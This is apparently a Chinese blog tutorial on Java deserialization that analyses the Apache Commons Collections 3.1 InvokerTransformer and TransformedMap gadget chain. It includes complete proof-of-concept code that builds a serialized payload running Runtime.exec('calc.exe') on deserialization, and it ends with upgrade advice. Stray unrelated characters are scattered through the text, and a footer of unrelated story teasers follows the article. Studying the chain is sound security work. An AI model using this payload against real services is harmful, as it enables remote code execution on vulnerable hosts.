java反序列化漏洞之Apache CommonsCollections淺析

主要從Commons Collections 包來(lái)淺析java反序列化漏洞成因阱洪。

一饰躲、對(duì)象序列化

對(duì)象序列化是一個(gè)用于將對(duì)象狀態(tài)轉(zhuǎn)換為字節(jié)流的過(guò)程,可以將其保存到磁盤文件中或通過(guò)網(wǎng)絡(luò)發(fā)送到任何其他程序。通過(guò)實(shí)現(xiàn)java.io.Serializable接口,可以在Java類中啟用可序列化莲兢。

序列化簡(jiǎn)單實(shí)現(xiàn)例子如下:

public class Student implements Serializable {
    
    private String name;
    public Student(String name){
        this.name = name;
    }
    
    public String toSting(){
        return "my name is " + name;
    }

}

將其序列化到文件中,代碼如下:

public static void main(String[] args) throws Exception{

        Student student = new Student("ramboo");
        File file = new File("E:"+ File.separator+"text.txt");
        ObjectOutputStream oos = null;
        OutputStream out = new FileOutputStream(file);
        oos = new ObjectOutputStream(out);
        oos.writeObject(student);
        oos.close();
        
    }

保存到文件中的內(nèi)容如下:

?í ?sr ?com.example.demo.Student?tB&?óO?? ?L ?namet ?Ljava/lang/String;xpt ?ramboo

以上保存的內(nèi)容是二進(jìn)制數(shù)據(jù)续膳。保存的文件本身不可以直接修改改艇,因?yàn)闀?huì)破壞其保存的格式。

二坟岔、對(duì)象反序列化

使用對(duì)象輸入流讀入對(duì)象的過(guò)程稱為反序列化谒兄。簡(jiǎn)單來(lái)說(shuō),就是從一組序列化后的二進(jìn)制流重新構(gòu)造成對(duì)象的過(guò)程炮车。

與反序列化密切相關(guān)的就是對(duì)象輸入流ObjectInputStream以及其方法readObject()

以下代碼是通過(guò)ObjectInputStream讀取從上述序列化到文件中的二進(jìn)制流舵变。

 public static void main(String[] args) throws Exception{
        File file = new File("E:"+ File.separator+"text.txt");
        ObjectInputStream ois = null;
        InputStream input = new FileInputStream(file);
        ois = new ObjectInputStream(input);
        Object object = ois.readObject();
        ois.close();
        System.out.println(object.toString());

    }

以上代碼結(jié)果輸出如下:

Student{name='ramboo'}

接下來(lái)再看酣溃,如果將反序列化的目標(biāo)對(duì)象添加readObject方法瘦穆,如下:

public class Student implements Serializable {

    private String name;
    public Student(String name){
        this.name = name;
    }

    @Override
    public String toString() {
        return "Student{" +
                "name='" + name + '\'' +
                '}';
    }

    private void readObject(ObjectInputStream stream)
            throws IOException, ClassNotFoundException{
        System.out.println("this method is override,haha");
    }
}

則上述反序列化的代碼將會(huì)輸出如下結(jié)果:

this method is override,haha
Student{name='null'}

通過(guò)以上可知纪隙,在被反序列化的目標(biāo)對(duì)象中重寫readObject方法,則反序列化的結(jié)果是不再讀取文件中的二進(jìn)制流扛或,而是直接執(zhí)行了已經(jīng)重寫的readObject方法绵咱。而反序列化漏洞就是從這個(gè)地方而來(lái)。

如果目標(biāo)對(duì)象的readObject進(jìn)行了一些更復(fù)雜的操作的時(shí)候,那么極有可能給惡意代碼提供可乘之機(jī)熙兔。例如在此方法中實(shí)現(xiàn)彈出計(jì)算器:

private void readObject(ObjectInputStream stream)
            throws Exception{
        Object runTime=Class.forName("java.lang.Runtime")
                .getMethod("getRuntime",new Class[]{})
                .invoke(null);
        Class.forName("java.lang.Runtime")
                .getMethod("exec", String.class)
                .invoke(runTime,"calc.exe");
    }

再執(zhí)行上述main方法悲伶,則會(huì)彈出計(jì)算器,如下圖所示:

1.png

三住涉、反序列化漏洞

反序列化漏洞麸锉,就是程序傳送了不安全的反序列化對(duì)象,并且程序沒(méi)有對(duì)此不安全的對(duì)象做過(guò)濾及限制舆声,導(dǎo)致執(zhí)行了不安全的對(duì)系統(tǒng)造成破壞性的操作花沉。

下面主要分析一下apache common collections包存在的反序列化漏洞

四、apache common collections反序列化漏洞

本例是使用具有漏洞的版本3.1進(jìn)行說(shuō)明媳握。

4.1碱屁、定義

apache common collections到底有何妙用,能讓W(xué)ebLogic蛾找、WebSphere娩脾、JBoss、Jenkins打毛、OpenNMS都紛紛青睞柿赊。引用某博客中的一段話加以說(shuō)明:

此包中對(duì)Java中的集合類進(jìn)行了一定的補(bǔ)充,定義了一些全新的集合幻枉,當(dāng)然也是實(shí)現(xiàn)了Collection接口的闹瞧,比如Bag,BidiMap展辞。同時(shí)擁有新版本的原有集合奥邮,比如FastArrayList。最后罗珍,更為重要的是一系列utils類洽腺,提供了我們常用的集合操作,可以大大方便我們的日常編程覆旱。

對(duì)于具體有哪些用途蘸朋,本人也沒(méi)有具體深入研究。本篇主要聚焦此包中為何會(huì)存在反序列化漏洞扣唱。通過(guò)一系列調(diào)研藕坯,此包中存在反序列化漏洞是由于TransformedMapInvokerTransformer造成的团南。

4.2、淺析

TransformedMap這個(gè)類是用來(lái)對(duì)Map進(jìn)行某些變換用的炼彪。當(dāng)我們修改Map中的某個(gè)值吐根,不管是key還是value,就會(huì)觸發(fā)我們預(yù)先定義好的某些操作來(lái)對(duì)Map進(jìn)行處理辐马。實(shí)例化TransformedMap這個(gè)對(duì)象是通過(guò)其靜態(tài)方法decorate得到的拷橘,如下:

Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);

其中,map為普通的Map喜爷,keyTransformer和valueTransformer分別對(duì)應(yīng)當(dāng)key改變和value改變時(shí)需要做的操作冗疮,其類型實(shí)現(xiàn)了Transformer接口。該接口定義如下:

public interface Transformer {
    Object transform(Object var1);
}

其中只定義了一個(gè)transform方法檩帐。這個(gè)方法會(huì)在key或者value改變時(shí)觸發(fā)調(diào)用术幔。如果需要觸發(fā)一系列操作,可定義ChainedTransformer來(lái)實(shí)現(xiàn)湃密。具體操作如下:

首先定義一個(gè)Transformer數(shù)組:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(...),
    new InvokerTransformer(...)诅挑,
        .....
};

其次實(shí)例化ChainedTransformer

Transformer chainedTransformer = new ChainedTransformer(transformers);

最后傳入TransformedMap實(shí)例化參數(shù)中:

Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

此時(shí),如果map中的value發(fā)生變化勾缭,會(huì)調(diào)用chainedTransformer中定義的transform方法:

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

從中可以看到揍障,此類中的transform方法會(huì)將上一次變換的結(jié)果作為下一次變換的輸入,直到所有的變換完成俩由,并返回最終的object毒嫡。

現(xiàn)在真正的主角出場(chǎng),InvokerTransformer幻梯。如果在變換鏈中有InvokerTransformer兜畸,則也會(huì)調(diào)用transform方法,它對(duì)應(yīng)方法實(shí)現(xiàn)如下:

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

從中可以看出碘梢,它是利用反射機(jī)制來(lái)調(diào)用對(duì)應(yīng)的方法咬摇。如果input可控,輸入一些非法的對(duì)象煞躬,則會(huì)帶來(lái)安全風(fēng)險(xiǎn)肛鹏。那么如何利用此漏洞呢?

4.3恩沛、利用

成功利用需滿足的條件如下:

1在扰、序列化對(duì)象具有不安全性

2、被反序列化對(duì)象已經(jīng)重寫了readObject方法

3雷客、外部能夠觸發(fā)readObject方法

根據(jù)以上條件芒珠,簡(jiǎn)單利用此漏洞的序列化對(duì)象如下所示:

package com.example.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

/**
 * 反序列化payload
 *
 * @author:xing.hang
 * @created 2019-07-11 19:35
 */
public class SerializablePayload implements Serializable {

    private Map transformedMap  = null;

    public SerializablePayload(Map transformedMap){
        this.transformedMap = transformedMap;
    }

    private void readObject(ObjectInputStream stream)
            throws Exception{
        stream.defaultReadObject();
        Map.Entry entry = (Map.Entry) this.transformedMap.entrySet().iterator().next();
        entry.setValue("xing");

    }

    public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{
                        String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{
                        Object.class,Object[].class},new Object[]{null,new Class[0]}),
                new InvokerTransformer("exec",new Class[]{
                        String.class},new Object[]{"calc.exe"})
        };
        Map map = new HashMap();
        map.put("name","ramboo");
        Transformer valueTransformer = new ChainedTransformer(transformers);
        Map transformedMap = TransformedMap.decorate(map,null,valueTransformer);
        SerializablePayload payload = new SerializablePayload(transformedMap);
        File file = new File("E:"+ File.separator+"text.txt");
        ObjectOutputStream oos = null;
        OutputStream out = new FileOutputStream(file);
        oos = new ObjectOutputStream(out);
        oos.writeObject(payload);
        oos.close();

    }

}

執(zhí)行此段代碼,會(huì)將對(duì)象序列化保存到文件中搅裙。其中

 Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{
                        String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{
                        Object.class,Object[].class},new Object[]{null,new Class[0]}),
                new InvokerTransformer("exec",new Class[]{
                        String.class},new Object[]{"calc.exe"})
        };

其功能是彈出計(jì)算器皱卓。如果直接利用java普通方法操作裹芝,則代碼如下:

Runtime.getRuntime().exec("calc.exe");

由于InvokerTransformer類中的transform方法采用了反射機(jī)制執(zhí)行相應(yīng)操作,所以便有了上述的代碼塊娜汁。

一旦我們對(duì)保存過(guò)的二進(jìn)制文件反序列化嫂易,則會(huì)調(diào)用readObject,在此方法中存炮,修改了map的value值炬搭。map中的value發(fā)生變化蜈漓,會(huì)依次執(zhí)行transformers數(shù)組中的各個(gè)類的transform方法穆桂。繼而彈出計(jì)算器,目標(biāo)達(dá)成融虽。

以上便是對(duì)apache common collections包反序列化漏洞的成因的簡(jiǎn)單分析享完。我們?cè)陂_(kāi)發(fā)過(guò)程中,如果使用此包有额,可更新為最新版本般又。目前最新版本是4.4,使用方法也有所不同巍佑,大家如有興趣茴迁,可自行查看。相關(guān)依賴如下:

<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.4</version>
</dependency>

受影響版本為:

Apache Commons Collections <= 3.2.1萤衰,<= 4.0.0

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末堕义,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子脆栋,更是在濱河造成了極大的恐慌倦卖,老刑警劉巖,帶你破解...
    沈念sama閱讀 222,104評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件椿争,死亡現(xiàn)場(chǎng)離奇詭異怕膛,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)秦踪,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,816評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門褐捻,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人椅邓,你說(shuō)我怎么就攤上這事柠逞。” “怎么了希坚?”我有些...
    開(kāi)封第一講書人閱讀 168,697評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵边苹,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我裁僧,道長(zhǎng)个束,這世上最難降的妖魔是什么慕购? 我笑而不...
    開(kāi)封第一講書人閱讀 59,836評(píng)論 1 298
  • 正文 為了忘掉前任,我火速辦了婚禮茬底,結(jié)果婚禮上沪悲,老公的妹妹穿的比我還像新娘。我一直安慰自己阱表,他們只是感情好殿如,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,851評(píng)論 6 397
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著最爬,像睡著了一般涉馁。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上爱致,一...
    開(kāi)封第一講書人閱讀 52,441評(píng)論 1 310
  • 那天烤送,我揣著相機(jī)與錄音,去河邊找鬼糠悯。 笑死帮坚,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的互艾。 我是一名探鬼主播试和,決...
    沈念sama閱讀 40,992評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼纫普!你這毒婦竟也來(lái)了阅悍?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書人閱讀 39,899評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤局嘁,失蹤者是張志新(化名)和其女友劉穎溉箕,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體悦昵,經(jīng)...
    沈念sama閱讀 46,457評(píng)論 1 318
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡肴茄,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,529評(píng)論 3 341
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了但指。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片寡痰。...
    茶點(diǎn)故事閱讀 40,664評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖棋凳,靈堂內(nèi)的尸體忽然破棺而出拦坠,到底是詐尸還是另有隱情,我是刑警寧澤剩岳,帶...
    沈念sama閱讀 36,346評(píng)論 5 350
  • 正文 年R本政府宣布贞滨,位于F島的核電站,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏晓铆。R本人自食惡果不足惜勺良,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,025評(píng)論 3 334
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望骄噪。 院中可真熱鬧尚困,春花似錦、人聲如沸链蕊。這莊子的主人今日做“春日...
    開(kāi)封第一講書人閱讀 32,511評(píng)論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)滔韵。三九已至逻谦,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間奏属,已是汗流浹背跨跨。 一陣腳步聲響...
    開(kāi)封第一講書人閱讀 33,611評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工潮峦, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留囱皿,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 49,081評(píng)論 3 377
  • 正文 我出身青樓忱嘹,卻偏偏與公主長(zhǎng)得像嘱腥,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子拘悦,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,675評(píng)論 2 359